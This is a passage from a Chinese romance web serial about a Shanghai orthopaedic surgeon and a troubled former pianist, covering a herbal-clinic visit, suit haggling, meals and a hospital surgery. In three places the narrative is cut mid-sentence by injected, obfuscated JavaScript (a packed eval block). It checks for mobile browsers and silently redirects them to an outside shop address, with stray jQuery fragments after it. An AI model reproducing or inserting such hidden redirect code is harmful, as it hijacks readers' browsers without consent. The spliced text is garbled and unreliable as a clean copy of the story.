光服装和妆面就花了一个多小时,仲希文都有点累了,恰好周沄声的信息进来,照片拍是的酒店的自助早餐,他拿了申城特色的小笼包、葱油拌面,搭配简简单单的一杯温水。
周沄声:【仲醫生吃過早餐了嗎?】
吃了一半,见缝插针地咬了半个三明治喝了半杯咖啡。
仲希文:【嗯,我很快出发,你等我啊】
仲希文催促道:“头发扎高马尾就行,给你五分钟。”
闻甜吐槽:“你头发很多你知道吗,怎么五分钟搞定啊?”
紧赶慢赶终于是在八点半弄完了,闻甜最后给她扣上一副珍珠耳钉,“非常漂亮,去迷死他吧。”
“辛苦了,今天853号做全屋保洁,慢点我的快递到了你帮我放一下。”
“仲希文侬好教好伐,我是你家保姆阿姨吗,侬额工资请得起伐?”
“下周我跟你拼好酒店,下午茶我包。”说完溜得飞快。
拼酒店是类似闻甜这样的小网红打造精致名媛身份的一部分,目的是要把房间费用最小化但用途最大化,就比如周沄声现在住的半岛酒店,闻甜早就想去住一晚,就是没约到合适的搭子。
酒店门口车辆拥挤,仲希文让周沄声走到对面马路,车就停在全家便利店门口。怕他找不到,仲希文站在路口等他。
他还是穿着昨天的皮衣,只是内衬换成了天蓝色衬衫和白色毛衣,比初见时清爽不少,大长腿迈步很快,路过垃圾桶时丢掉手上的烟头。
初绽的阳光落在他蓬松的黑发上,照出一丝金色,两人靠得很近,他发丝上定型水的香味是类似于沉香的木质香。
今天她的头发也喷了香氛,闻甜说穷讲究的人才会用香发喷雾这种华而不实的东西。
但这种华而不实的点缀给仲希文加了点底气:“周先生上午的行程是先去看中医,然后买西装,下午看房。”
“好。”周沄声从包里摸出一颗糖给她,“早上有小朋友送我两个,很好吃就留一个给你。”
手工牛轧糖。
“那要是不好吃呢?”仲希文歪头看他,把糖抓进手心。
她的好闺蜜也会留东西给她吃,然后故意等她吃了才告诉她难吃才给她的,这叫“有难吃同吃”,偏偏这种当她上得不亦乐乎。
“要是我觉得不好吃的话,仲医生可以自己决定要不要吃。”
上车前仲希文吃掉了那颗糖,好吃到还想吃下一颗,只有两颗的话她不会想到要留给谁。
仲希文大概介绍了要去的医馆,医馆名为望禾堂。
“我爷爷叫仲望禾,比我姑奶奶小了整整十五岁,他55岁退休后用自己的名字办了这个中医馆,今天正好他在,我让他给你瞧。”
“你家人都知道我阿公的存在?”周沄声有些紧张。
“知道,你阿公的父亲,就是我们的曾祖父那辈他们是世交,周老先生跟我姑奶奶算是青梅竹马,两人差了四岁,我跟你也差四岁……呃——你放心啦,我是在家人的支持下才去打听你们家消息的。”
不知道是不是车里热风对着脸吹的原因,仲希文觉得脸发烫。
其实家里最痛恨周敬凡的人就是爷爷仲望禾了,父母早早就离世,他跟姐姐就成了最亲的人,可他却眼睁睁看着姐姐把青丝熬成了白发。
“那就好,我还蛮紧张的,跟昨天要见你的时候一样紧张。”
“有我在你就什么都不要怕,没事的。”
“那这样说他们都是中医,仲医生怎么是骨科医生?”
这问题问得好啊,“我爸说干中医不挣钱还摆不上台面,这个老登都不知道自己吃的穿的是怎么来的,自大狂!”
周沄声笑了,不是礼貌的微笑,是会心的笑容。
望禾堂并不在闹市区,老爷子在几个老小区的中心地段买下来五间店铺,总面积有400多平,装修古朴,步入门市就能闻到浓浓的中草药味,熬药室里飘来阿胶香气,光闻味道就很治愈。
奖牌和锦旗铺满了墙面,看着就很唬人,周沄声仰头看了一圈。
“哦哟,仲大夫的宝贝孙女来了,前面还有几个病人,你要等等哦。”说话的是收银员梁姐,自称是账房阿姨,原国营单位退休会计,除了管钱之外还负责打扫卫生。
“我要挂个号。”
梁姐的注意力早就转移到了周沄声身上,“侬是文文啥朋友啦,男朋友伐?”
“梁姐,他是台城来的,听不懂方言。”
“卖相蛮好呀,条件哪能啦,我看伊蛮有钞票额样子呀。”
老爷子的问诊费是200,仲希文扫完码给梁姐看,“快点打发票去好不好。”
在诊室内的仲老爷子忙着开方,他口述实习生写,写完他再检查一遍,确认无误后才能交给药房抓药,如果需要代理煎药则病人起码要等上4个小时。
今天周沄声的药仲希文决定带回去自己熬。
等了约半小时,仲希文领着人进诊室,“爷爷,我带我朋友调理下身体。”
“好的呀,小伙子请坐,”仲老爷子摘下老花镜先看周沄声再看仲希文,“文文,我觉得你比他还严重啊,脸红肝火旺。”
“求您了好吧,我这是腮红,明明就很淡!”
周沄声低头不语,默默把手放在脉枕上。
仲老爷子问周沄声:“小伙子,你跟这个小姑娘熟不熟的?”
“这个……我跟仲医生其实昨天才认识。”
“好的,不是家属请出去等。”仲老爷子下巴一抬,告诉孙女门在左边,“出去帮我门关上。”
仲希文气鼓鼓地把发票放仲老爷子面前,“我付钱了的,您好好瞧,我可是懂的。”
“懂,真懂你还花钱来找我?”
门关上后仲希文就开始心焦,也不知道焦的什么,可是一等就是半小时,手表都看了七八次了,终于是等到实习生出来。
“我看看方子。”实习生被仲希文拦住。
“仲大夫让直接抓药,不给看。”实习生火速折叠好手上的单子。
“那行吧,抓完我自己看,药材我认
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408882|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
识。”
“仲大夫说熬完了会顺丰快递到您院里。”
门又吱呀一声开了,周沄声系好皮衣的腰带,挎上包,看向仲希文的眼神里含着一抹笑意。那应该没什么问题,仲希文松了口气。
“小周啊,你记下我这儿的地址,有空来我这里吃茶,我叫她奶奶给你做苏式的糕点,她奶奶是扬州人。文文她忙,不太会招待客人。”
“不会不会,今天辛苦仲大夫,那我改天再来拜访。”
仲希文也不是那种很八卦的人,毕竟这涉及病人隐私。看医馆里忙得很就打算带着周沄声先走一步。
周沄声特意拍下了门牌号,“对哦,我还没付账。”
“我会付的,要你付钱的话我还不如带你去别的地方。”仲希文替他开好车门,“上车啦。”
“这不好吧,那些药听上去很贵的样子。什么海龙三钱,鹿角胶五钱,还有黄芪、麦冬、党参、熟地……”
仲希文渐渐失去笑容,正经道:“证明你需要改善睡眠、食欲和气血……那啥问题不大啊,喝完这些你自己感受一下。”
周沄声有些难为情,明显是自己说太多导致仲希文都听懂了,默默上了副驾驶。
“其实我也一知半解,我是骨科医生嘛,”仲希文上车扣好安全带,“还有没有其他医嘱?”
“放宽心就会好的。”
“我爷爷这么说的吗?”
周沄声点点头。
仲希文心里不禁嘀咕,这瞧出来根本问题是心病?他不会是有抑郁症吧!
气氛有些尴尬了,仲希文闭上眼劝自己的死脑子快转,随后问他:“我今天的妆很浓吗,不好看吗,你今天有认真看过我吗?”
“有、有啊,我看你很多遍……”周沄声拽着安全带忘了扣,“我觉得很好看。”
“哈哈,我就说不会有问题的。”仲希文感觉自己被人轻轻地托住了,温柔的男人她真的见得不多,偏偏他还独一无二。
西装店开在新天地附近的老石库门,以里弄为名的建筑群让周沄声觉得新奇。踏在梧桐叶上,脚底传来脆生的破碎声,残叶沾染在他白净的板鞋上。
这些建筑是申城的历史底色,蕴藏着这座城市繁华背后的淳朴。
里弄里空间狭窄,浣洗干净的衣物被晾在搭起的钢筋上,周沄声个子高,只好跟在仲希文身后边走边躲。两人在一个老旧低调的门头下停住——华诺定制。
仲希文朝里面张望了下,轻轻推开虚掩的门,“老板老板娘在吗,我们买西服。”
很小的门,进去却别有洞天,一楼是展示衣橱,二楼是缝纫室。
老板娘从二楼下来,“在的呀,来了来了。”
门被周沄声彻底推开,头顶响起一声清脆门铃声——叮。老板还没下楼,一声地道本地语“欢迎光临”响亮传来。
“是仲医生啊,你的衣服要下周才做好呢。”
“不是,我们今天看成衣,有合适的就买。”仲希文放下包,“这位先生买,周先生。”
老板娘:“周先生侬好呀,个子蛮高的,顶好么还是定做,面料还可以选的。”
“先让周先生看看吧。”仲希文拉拉他LV包的带子。
“叫我阿声。”周沄声低声耳语她。
“啊,”仲希文猝不及防,“阿声?”
“对,我家人都这么叫我。”
5. 第 5 章
周沄声身高184.3,体重116.6斤,谁能不说一声太瘦了,符合腿长的裤子要么腰身大,要么能掐住腰的又短了一截。
老板:“明天就要是吧,我熬夜改就是了,问题不大。”
老板娘:“我想起来咱们有一套,但事先说好啊,那人没来取是因为人没了,你们要是不介意我们就收个成本钱,衣服可好着呢,花了一个多月做的。”
“那不来噻的,我们不好这么做生意,”老板拉着周沄声上楼,“就按你的尺寸定做好了,要求不那么高十天半个月就行。”
周沄声喉结滚动,温声道:“没事,我不介意。”
老板甩了个白眼给他老婆:“个么周先生上楼试试看好吧,这个衣服我保存很好的,料子特别好,我不会瞎讲八讲的。”
虽这么说,但仲希文心里咯噔了一下,又不是非得在这里买,大概是老板娘看出她不高兴,递了个桔子给她,“衣服是真的好,人家本来奔着结婚去的呀,可是嘛……蛮可惜的,后来我定金全部退给人家了,按理说是喜服呀。”
“穿着合适再看吧。”
“肯定合适,我的眼睛就是尺!”
这话怎么听着这么熟悉?
量体加试衣,仲希文又等了他半个多小时。周沄声从楼上下来,边走边调整自己的领带。
仰望他的这一眼,仲希文只觉得他似从唱片封面里走出来,一步步走向钢琴。
稳重的碳灰色纯羊毛面料,精良剪裁得到的版型挺括硬朗,原本偏瘦的身体被服装塑造出肩线和躯干,近看还能看到人字暗纹和白色的手缝线,内衬单排扣马甲,很衬他的文艺气质。
在二楼时周沄声已在全身镜中认真看过自己,从第一次登台到隐退,十几年间他存了上百套西装和礼服,还有一堆配饰,出事后皆委托经纪人做了处理,得到的钱全部赔偿了违约金,幸好甲方都同情他,不至于倾家荡产。
这将是他为了工作买的第一套西装。
仲希文问他:“喜欢吗,真的不介意?”
“真好看,周先生侬买不买不要紧,让我拍个照片好伐,这个衣服没有穿到那个新郎身上,新娘子找我退钱的时候哭啊,说都不知道她丈夫穿上是什么样子,这个尺寸我实在是找不到人能穿进去,这么瘦。”老板娘站在周沄声边上反复打量,满意得想哭,“这个线我熬夜缝的,那时候就想快点做好。”
周沄声走上两级台阶,将自己受伤的手插进裤兜,“仲医生,你帮我拍?”
怎么什么都答应,仲希文盯着老板娘说方言:“价钱便宜点哦!他好讲话我不好讲的。”
“晓得啊,侬放心,我现在送给他我都高兴的!”
仲希文让老板把灯都开起来,楼梯上的射灯正好打亮了他的侧边脸,拍了好几张之后才意识到不能把他的脸拍得很清楚,“阿声你把脸转向左侧,眼睛看二楼。”
“好。”
老板娘很满意最后那张照片,“衣服嘛是有点故事,但都已经过去了,从今天开始,它要跟着真正拥有它的人一起向前看,向前走。”
周沄声下楼在仲希文身前站定,面带微笑:“难得这么合身,但要是你觉得不合适就算了。”
“没有,你从上面走下来的时候我就觉得这衣服值了,你就穿着它向前走。”仲希文打开支付宝放在柜台,“很便宜的,我买给你,就当是见面礼了。”
老板娘:“3000好吧,成本价,白衬衫860,领带350,一共4210,付个4100么好了呀。”
“什么3000,西装最多1500再送我一副袖口,你重新算。”仲希文叉腰,“换到七浦路上我直接给你抹个零好吧老板娘。”
“仲医生,侬刚还讲这衣服值了。”
“我是说这衣服能被他穿上是值了,不是我花3000值了,你还说送他都高兴呢!”
老板娘:“……”
周沄声:“没事,才3000……”
“你不许说话。”仲希文没想到周沄声是个砍价猪队友,“我退一步,全部打包3000块,再送我一副袖口一个领带夹。”
老板都被砍得有点肉疼,但不卖的话这衣服就砸手里了,求道:“3300好吧,加一点加一点。”
成交,仲希文抢着付了钱。
出门后周沄声笑了一会儿,他孤陋寡闻,没见过这样买东西的。
“你笑什么呀,这叫骑着共享单车去酒吧,该省省该花花。”仲希文管他能不能听懂,“要不是老板娘话说得不错,我砍得更凶。”
“哦,那什么是七浦路?”
“卖衣服的地方,CheapRoad,现在可以用拼夕夕。”
明白又不太明白,周沄声有些难为情,“我请仲医生吃饭?”
“好啊,这个季节最适合吃的东西你知道是什么吗?”
周沄声摇头。
“当然是阳澄湖大闸蟹了,先带你去吃蟹黄面,完了再去买几只带回家吃。”
蟹黄面小碗78,大碗128,小碗一只蟹大碗两只,仲希文选了大碗,周沄声怕自己吃不惯就只要了小碗。
“炸猪排和排骨年糕也是要吃的,永迦路附近还有葱油饼,我们回去吃。”
“哪里吃得了这么多?”
周沄声话说早了,仲希文真能吃得下。他吃完面就饱了,又被逼着吃了猪排和年糕,常年没喂饱的胃此刻有点饱胀。
仲希文:“你才吃这么点,肯定没饱,再加一份蟹粉小笼?”
周沄声:“好,我去加。”
“谢谢。”
“不会……”周沄声腼腆一笑。
一份小笼十个,周沄声努力吞咽了两个,剩下的全留给仲希文。
“你以后跟着我这么吃,那个裤子很快就扣不上扣子了。”
“我最胖的时候有超过75公斤,20岁的时候,已经过去很久了。”
“那22岁的时候呢,我第一次见你的时候。”
“差不多70公斤吧,记不太清。”
“那就朝着这个方向去,然后再穿一下那款燕尾服,重回颜值巅峰。”
周沄声收敛笑容,就算能回到那个体重也找不回那款礼服了,搪塞道:“我不再是少年了,怎么回得去?”
法拉利老了依旧是法拉利,岁月和消瘦将他优越的骨相淋漓地展现出来,但没有刻出明显的纹,仲希文并不偏爱他少年的样子,惊艳只是一瞬,深爱则似长风。
仲希文:“我也不是18岁了,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408883|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是我18岁的记忆还在,它很珍贵。”
吃完,仲希文都快撑死了,偏偏今天穿的裙子很勒腰,闻甜要的小蛮腰效果上午那会儿确实不错,现在小肚子有些明显了,仲希文捏着没有扣子的长款毛线开衫遮住。
没要那份小笼的话倒也不至于此,但仲希文不后悔,她一年也吃不到几次。
一大会址、新天地、淮海路,街区内极富年代感的建筑物被改造成时尚店铺,新旧时光交错、古典与现代结合,这里是申城的潮流地标,外来游客必要的打卡点。
两人都想消食,没想到不知不觉走了这么久,还得原路返回去取车。
“这里我来过,变化好像不大。”
“是啊,都是保护性建筑,不好动的。”
出来这么久,仲希文没见他再抽过烟,真担心他憋坏了。回去的路选了另一条,路过网红奶茶店,仲希文的馋虫又上来了,问他:“很火的,喝不喝?”
周沄声不由得皱了皱眉,他并不喜欢植脂末和反式脂肪酸,“那喝喝看。”
仲希文教他用微信小程序点单,“你是新用户欸,有送你8折券,你看。”
第一杯8折第二杯原价,优惠了4块钱,仲希文觉得赚到了,“估计要等一会儿,我先去个卫生间,你一起去吗?”
“嗯……好。”
女厕永远排队,仲希文还补了下口红,回到奶茶店时看见站在梧桐树下的男子在应付跟他要微信的小女生。这下换成她皱眉了,周沄声知道怎么拒绝人吗?
隔得远没听清讲什么,但他始终没拿出手机。走近后听到他用重申的语气说:“就不是很想加,抱歉。”
仲希文没意识她的靠近加强了这句话的含金量,两个小女孩闪电般撤离了。
“怎么了?”
“她们跟我要Wechat,我看上去可以当她们叔叔。”周沄声双手抱臂靠在树上,神色从容,“还有三个号就到我们了。”
“哪有这么老,看你帅才扑上来的。”仲希文笑着接起闻甜打来的电话。
是来骂她的,骂得很脏。
“你要搬家么早点说呀,把我当菲佣吗?你自己数数多少东西好吧,马桶圈为什么要买两个啊,侬几只屁股啊,小东西么就算了,羽绒被被、床上四件套买噶许多,晚上尿炕要换吗?!空气净化器啥意思啦,要干净么住到崇明去!”
啧啧啧,再骂下去就要问候些她的老亲戚们了。仲希文捂着手机听筒告诉周沄声:“我们得尽快回去,我闺蜜发的火可能会把你阿嫲的房子给烧了。”
昨晚睡不着,仲希文花了万把块钱,正好是双十一活动期间,为了凑单买了很多有的没的。
刚到门口就看见黑色制服、红色制服、蓝色制服的快递小哥围着闻甜核对快递单,她穿着紫粉色居家服,头顶粉色毛茸茸发箍,像一只草莓熊。
看见她回来,闻甜又开始暴躁:“要死快了侬,快点过来,人家快递都送三四趟了!”
她的身后是周沄声,院子不大,他紧贴她站着,给出门的快递师傅让路。
闻甜:“个么真的是要死啊,册那侬这女银只关心自己好不好看,一点也不管人家死活咯,侬就叫我这样见你的爱豆啊!我肯定要叫侬吃生活,绝交!”
6. 第 6 章
晚餐由闻甜家招待,酱鸭、熏鱼、八宝辣酱,都是本帮特色菜,全是隔壁街熟食店打包来的,确保比闻妈手艺稳定,这些仲希文不评价,但桌上的大闸蟹个个都4两以上。
闻父开了瓶石库门老酒,先给周沄声倒了一杯。
“文文你也喝,叔叔给你叫代驾。”
喝,当然喝了,不然周沄声怎么好意思喝。
闻甜拒绝吃大闸蟹,品尝的过程会破坏她刚化好的妆,这个妆是专门化给周沄声看的,甜美系小野猫。
周沄声没喝过黄酒,也很久没跟这么多人一起用餐,对于螃蟹、龙虾这种东西更是从来都没什么好感,这会儿坐着浑身局促难受。
仲希文掰开螃蟹递给他半只:“先吃半个,要是你不喜欢这些就都是我的了。”
母蟹吃黄,公蟹吃膏,都说母蟹好吃,但仲希文更喜欢粘牙的蟹膏,而且相比母蟹花同样的钱能买到更大的公蟹。
怎么吃呢?全靠一口好牙。吃之前擦干净口红。
好的蟹黄和肉都是鲜甜的,不需要蘸镇江香醋,今天的蟹吃着也就那样,仲希文只给到60分。周沄声对偏甜口的熏鱼更感兴趣,这家用的是草鱼,挑的都是骨头少的大块。
闻父:“小周你平时喝酒不?”
这个撒不了谎,半年前他还是个酒鬼,喝到胃出血,这之后才收敛了,但受伤的胃一直都没调理好。
“喝啤酒比较多,现在尽量克制。”
闻甜:“那咱们来点大麦快乐水?”
仲希文在桌底踹她,警告她闭嘴。
酒没喝尽兴,闻父又拉着周沄声喝茶。仲希文帮着收拾碗筷,闻甜拉上厨房间的玻璃门,叹了好几次气,同情道:“这几年他过得很不好吧,从云端掉下来,啪——他还能治好吗?”
“谁能打包票呢,先住下来再说呗。”
“哦?”闻甜顿时瞪大眼,“啊不是吧你!”
趁她还没叫出声,仲希文捂住了她的嘴,抢答:“祝贺你又有邻居了,又高又帅那种。他不喜欢聊天,我们先告辞啦。”
闻甜:“侬这女银心机太深,昨天一眼看到人家估计连小孩名字都想好了。”
这倒真没有,仲希文还是理科生思维,仅仅这几个小时完全不能评判两人合不合拍,实验可以失败,但她的婚姻不可以,否则她就步了父母的后尘,花了时间和金钱最后相看两厌。
她身边并不缺优秀的追求者,高学历、高收入、高门第,但这种优秀只不过是他们的外部展现而已,而且这些仲希文自己就有,并不需要一个同类型的男人来捧高和衬托。
她想要的那种东西自己说出来都觉得过分。
她想要一个完完全全听得懂她话并且去做的人,直白的隐晦的都不需要解释,她不会提过分的要求,但这个男人要会往过分了去想,给她超出预期的结果。
可能是不懂爱吧,等爱上了那个男人,这些有的没的就都没有了,但现在的仲希文还没打消这个念头,她的工作压力太大,一个男人提供不了她要的情绪价值那要来什么用,折磨自己吗?
回到853号,周沄声想继续收拾一楼卫生间的东西,仲希文看时间都快八点了,说:“明天收拾吧,明天天气好,新买的床上用品洗完烘干再晒一遍就能用。房间的话你睡二楼我睡一楼,我上班比你早下班比你晚,这样不打扰你休息。”
仲老太太晚年的生活都是在一楼度过的,莳花弄草看书煮茶,夏天吃西瓜冬天晒太阳,二楼则是仲希文的空间,她上班争分夺秒下班死盯电脑,两人安静而又和谐。
但她隐匿的心思提醒她,以后这里不该那么安静。
“好,我看你晚餐吃得不多,是大闸蟹不合心意?”
“是啊,膏不粘肉不甜,估计就是扔阳澄湖里洗了个澡就捞出来卖了。”
“我带你去酒店吃。”
嘶——她怎么就没想到五星酒店里有好的蟹呢!
说走就走,仲希文去车里拿来西装,拉着周沄声在门口打车,嘴里嘟囔着,“早知道就不喝那口酒了,怎么车都打不着!”
“没关系,我让他们准备好你要吃的直接送去我房间。”
“那我不想吃大闸蟹了,我要吃牛排。”
周沄声刚伸手,蓝色出租车就停下了,仲希文笑靥如花,“阿声你运气真好。”
“是吗,那就好。”
上车后仲希文心脏砰砰乱跳,默默打开小红书搜博主攻略,588的烤鸡、288的laksa、688的自助餐……
去他房间吃好像不太好吧?
仲希文想了想说:“一会儿我就不去你房间啦,免得受不了诱惑要住下来。”
“好,去餐厅吃。”
酒店的餐厅营业到23点,乐队演奏到22点,大提琴和长笛音调低沉婉约,不会抢了红酒杯碰撞的声音。
五分熟的菲力又甜又嫩,满足了仲希文挑剔的味蕾。
酒足饭饱,仲希文没打算久留,直接提了要回公寓。
“我送你回去。”
“我送你回来,你又送我回去,然后你再回来,就这点路我们来来回回走啊?”
“又不麻烦,”周沄声笑起来,“明天不用来接我,我自己可以。”
“那我睡懒觉啦,还是老时间见。”仲希文把门钥匙给了他,“你早到就早进去,给家政开门。”
到小区,周沄声目送仲希文上楼后掏出烟盒想抽一根,想了想又合上了。
月色晦明晦暗,弯月在云层里躲躲藏藏,没有星星的夜里,周沄声抬头仰望一家一户的灯火。
烟没点起来,打火机嗒一下就亮一下,很无聊的动作周沄声却做了个把小时,直到打火机再也亮不起来,被他随手投进垃圾桶。
是时候需要戒烟了。
仲希文:【你回酒店了吧,睡了吗?】
周沄声:【還沒有睡】
他的运气确实不错,小区还没出车就打到了,司机主动问他要去哪。
周沄声:【我等下準備泡澡,晚上可以睡得舒服】
仲希文:【要注意保暖,申城的天气不算宜人】
周沄声:【嗯,我会好好遵醫囑】
大酒店就是舒服呀,仲希文只有一只按摩泡脚桶。脚在水中泡,膝盖上则放着处理公事的笔记本电脑。公司总经理想让她抽出时间去个饭局,对方公司老总是AI科技新贵。人工处理总有极限,现在AI早已在医疗行业展露头角,远的不说,病例都可以用AI辅助来写了。
那就周五晚上呗,周五她坐门诊,下了班还能有点力气。
翌日,仲希文睡得精神相当饱满,选了自己喜欢的宽版毛衣搭配阔腿牛仔裤,背一个能装下她所有东西的斜挎托特包。
妆面基本没有,只是浅浅地上了一层粉底,发型不管是鱼骨夹还是皮筋,只要能干干净净束起来就行。日常工作她都是这副扮相,全靠颜值撑台面。
周沄声早就到了853号,浅灰色针织开衫和牛仔裤,比起昨日多了份慵懒。脚上穿的是仲希文专门为他买的毛拖鞋。
别的不说,他像是已经住下来了。
“早啊,阿声。”
“早,我从酒店给你带了甜品和咖啡。”
“对哦,你觉得我们需要一台咖啡机吗?”仲希文转了一圈,指指客厅角落,“就买个桌子放在这里。”
“好,那我抽空看看,还有什么需要的你随时跟我说。”
“今天我教你怎么点外卖和网购,这很重要,我加班很多,你需要这些软件照顾你。”
鼓捣半天,周沄声成功下了第一单,点了一家川菜馆的双人套餐。
“你看这里,你平时需要干洗西装、大衣之类都可以预约上门取件,洗完了会再给你送回来,你想知道附近有什么好吃好玩的就用这个黄色的APP……会骑脚踏车吧,距离近的地方你可以单车出行。”
这可是现代生存技能,科技日新月异,各行各业卷天卷地,不就是为了创造更便捷的懒人生活嘛。
周沄声一开始很认真听,到后面都有些懵了,“地图软体可以充话费,美食软体可以叫跑腿?”
“这算什么,他们还都可以借钱呢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408884|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“那银行要来做什么?”
“银行软件上可以抢外卖抵扣券。”
“……好难哦,不然今天就学这些吧。”
其实仲希文也教不下去了,这些都是科室小护士们教的,她哪有功夫实践。小护士们知道她不会注册新程序,老用她手机以新用户身份抢券。
刚吃完午饭没多久,仲希文最不想看见的电话打进来了——她的科室主任。
果然,要她半小时内回院里参加会诊。
“阿声我现在要去加班,什么时候回来还不一定,不要等我回来吃饭,以后我加班都不要等我。”仲希文迅速收拾好东西,“这里你觉得OK的话你随时搬来,不用问我的意见,我走了。”
跑出门后仲希文又回来,周沄声在廊檐下看着她。
“明天工作一切顺利,我怕今晚回不来跟你说这句话。”
“不要担心我,你也工作顺利。”
会议室里落座的是创伤骨科同事和患者父母,大屏幕上是伤者的X线平片,非常严重的严重的骨盆髋臼骨折,属于开放性骨折,骨折部位多且分散,还涉及到腰椎横突。
科主任:“患者15岁,舞蹈生,车祸导致重伤,当地医院已完成清创处理,但他们做不了这么高难度的修复术。仲医生,这次的手术你来主刀,手术机器人辅助的精准微创手术你有经验。”
虽有经验,但这场手术必然棘手,仲希文向患者家属介绍道:“骨盆部位结构十分复杂,传统微创手术过程中螺钉置入如有偏差很容易损伤神经和血管,手术机器人可实现可视化,辅助医生精准定位,降低手术风险,创伤小恢复也快。”
患者家属连连点头。
为保证手术顺利,仲希文带队将设计好的手术方案反复模拟演练,患者父母也通过视频观看了模拟手术过程。
下午四点手术正式开始,整个手术过程持续两个多小时,仲希文凝神太久,出手术室的时候有些疲惫,但还是面带笑容走向患者家属,“手术很顺利。”
“仲医生辛苦了,谢谢谢谢。”
刚回到办公室准备喝水休息下,院办的人来了,小伙子鬼鬼祟祟看她:“仲医生现在有空吗?”
“坐,什么事?”
“今天的手术非常值得宣传,我们拟了个初稿,但手术过程里那些专业的操作以及手术机器人的优势,我们就不专业了,咱们不是说要多多宣传新科技的力量嘛。”
哦,意思是她来写,“准备什么时候发?”
“明天,上面要求时效性。”
“那我那篇论文的宣传稿怎么抢着时效性发出来?”
“刘医生让院长拦下来了。”
“那要是我要发呢?”仲希文边说边给自己点奶茶。
“你的话肯定比刘医生的有用啊,要不那篇放明天的二条,我让我们领导去请示。”
拍什么马屁,仲希文:“初稿发我,可以写但不建议明天发,现在没有术后恢复数据,大家不是应该更关心有了高科技的介入之后,给患者带来的益处吗?我不要什么时效性,我要有效性。”
“那什么时候最好?”
“起码等患者能下地出院吧,明天首条发什么你们看着办,你领导问起来就说我说的。”
“好好,仲医生你人真好,人美心善,我们都不用加班了。”
院办人刚走,师兄刘念成拎着晚餐进来,“就知道你还没走,饿了吧?”
三杯鸡加菠萝古老肉,还有一份时蔬,但也已经是医院附近最好的快餐店买的了,“谢谢,确实饿了,还没想好吃什么。”
“还有一箱仲老师寄来的东西,我给你收了,怎么要吃中药了?”
“我朋友的,他不方便收。”仲希文椅子一转,把箱子挪到自己脚边,省得走的时候忘了。
刘念成话到嘴边没说出来,讪讪道:“我还有几个病例没整理,不打扰你了,你早点回去休息。”
仲希文嗯了一声,继续低头吃饭。
处理完工作,仲希文特地回853看了一趟,灯火已灭,周沄声已经回酒店了。
7. 第 7 章
司机把周沄声送到门诊大厅,他的行李不多,28寸的黑色拉杆箱就都装下了,其他需要的东西家人会慢慢邮寄来申城。
医院太大,大厅内人流不断,门诊挂号已经结束。周沄声不知道怎么去找,只能发信息给她:【仲醫生今天什麼時候下班?】
仲希文还没下手术,不过也快了,助理医生正准备接替她为病人缝合。
骨科有专门的病区和手术室,周沄声按照指示牌走,离仲希文越来越近。走到护士台问道:“麻烦问下仲希文仲医生在吗?”
“您找仲医生啊……”坐着的正是护士长,怀孕后一直在清闲的岗位工作,“哎你,你是,你是那个、那个钢琴家啊!”
她手边正好是今天才送到的唱片,院里白天个个忙得脚不沾地,她还没找到合适的时间给仲希文送去。
“周沄声啊,你是不是周沄声?!”
一个孕妇突然激动,周沄声也跟着吓一跳,“您小心,对,我找仲医生,她在吧?”
护士长推推身边的小护士,“有没有记号笔啊,帮我拿一根,周先生你帮我签个名好吧,你怎么会认识我们仲医生的啊,她都买不到你的典藏版唱片!”
这张唱片是出事后才出的,事情被经纪人瞒得很好,里面有他未公开的照片和录像,这些都是为了销量而准备的噱头。只出了1000张,眼前这张已经有了使用痕迹,应是买的二手。
周沄声在照片和胶片上都签了字。
“她的办公室在三楼,字儿都签了您不如替我拿给她,比我拿给她有意义多了。她知道是我送她的,你知不知道我们文文,就是仲医生,她可喜欢你了。”
周沄声理解这个“喜欢”的意思,是远观的喜欢,是因为他的身份光环而产生的仰慕。他现在以这种面貌出现,可能早就打破了她的滤镜。
仲希文刚出手术室换衣服,回复他:【五六点钟吧,下了班我去找你】
周沄声拿上东西匆匆往三楼去,但确实不想打扰她工作,于是找了个坐的地方等着,呢子外套和西装都脱下放在拉杆箱上。离五点还有半小时,周沄声琢磨晚餐吃什么,打开了大众点评。
刘念成正也是来找仲希文的,明天的手术病人已经确定排期,她主刀的那台要调整。
护士台的人都往周沄声那边瞧,男人跷着二郎腿,左手戴着露半指的皮手套,低头认真划着手机。那只手在这种情况下倒是一点看不出毛病。
刘念成也好奇,问道:“这谁啊,哪家的家属?”
“没见过,好瘦好帅,你看他的脸,就您一半大。”
刘念成:“也没你的大,跟我有什么好比的,他是帅哥,我就是那个男的。”
人他没觉得面熟,但他太熟悉他拉杆箱边上的东西,这可是他老婆千辛万苦找来的,前后少说花了一万多!他不懂这种东西怎么要这么贵。
“这位先生,”刘念成试探着问,“您的这个黑胶……”
